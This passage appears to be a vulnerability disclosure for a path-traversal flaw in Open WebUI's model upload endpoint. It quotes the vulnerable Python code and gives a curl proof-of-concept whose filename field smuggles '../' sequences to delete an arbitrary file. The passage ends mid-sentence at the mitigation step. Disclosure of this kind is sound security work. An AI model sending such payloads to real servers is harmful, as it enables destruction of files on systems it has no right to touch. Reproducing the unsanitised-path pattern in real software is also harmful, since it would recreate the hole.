Open WebUI Arbitrary File Write, Delete via Path Traversal

def upload_model(file: UploadFile = File(...), url_idx: Optional[int] = None):
 if url_idx == None:
     url_idx = 0
 ollama_url = app.state.OLLAMA_BASE_URLS[url_idx]

 file_path = f"{UPLOAD_DIR}/{file.filename}"

 # Save file in chunks
 with open(file_path, "wb+") as f:
     for chunk in file.file:
         f.write(chunk)

 def file_process_stream():
     nonlocal ollama_url
     total_size = os.path.getsize(file_path)
     chunk_size = 1024 * 1024
     try:
         with open(file_path, "rb") as f:
             total = 0
             done = False

             while not done:
                 chunk = f.read(chunk_size)
                 if not chunk:
                     done = True
                     continue

                 total += len(chunk)
                 progress = round((total / total_size) * 100, 2)

                 res = {
                     "progress": progress,
                     "total": total_size,
                     "completed": total,
                 }
                 yield f"data: {json.dumps(res)}\n\n"

             if done:
                 f.seek(0)
                 hashed = calculate_sha256(f)
                 f.seek(0)

                 url = f"{ollama_url}/api/blobs/sha256:{hashed}"
                 response = requests.post(url, data=f)

                 if response.ok:
                     res = {
                         "done": done,
                         "blob": f"sha256:{hashed}",
                         "name": file.filename,
                     }
                     os.remove(file_path)
                     yield f"data: {json.dumps(res)}\n\n"
                 else:
                     raise Exception(
                         "Ollama: Could not create blob, Please try again."
                     )

     except Exception as e:
         res = {"error": str(e)}
         yield f"data: {json.dumps(res)}\n\n"

 return StreamingResponse(file_process_stream(), media_type="text/event-stream")
 ```

 The model is temporarily written to disk in chunks and then the data is sent to
 another internal API. Once the file is successfully passed, the file is removed
 from the disk. Note line 1116, `os.remove(file_path)`.

 This has an affect of stomping on and ultimately deleting any file that the user
 of the open-webui service has permissions over.

 It may be possible to continue sending chunks to the file slowly and create
 a race condition however, this was not validated.

12. Proof-of-Concept:

 First, create a file under the `/tmp` directory named `DELETE_ME` while
 logged in as the user account of the web application or chown the file to be
 owned by the open-webui user.

 ```
 # su ollama
 # touch /tmp/DELETE_ME
 ```

Execute the following cURL command after replacing the exported `JWT` value for a valid user session:

 ```
 export JWT="JWT_HERE"; curl -s -X $'POST' \
 -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \
 --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETE_ME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \
 $'https://openwebui.example.com/ollama/models/upload'
 ```

 Verify that `/tmp/DELETE_ME` has been deleted.

13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to: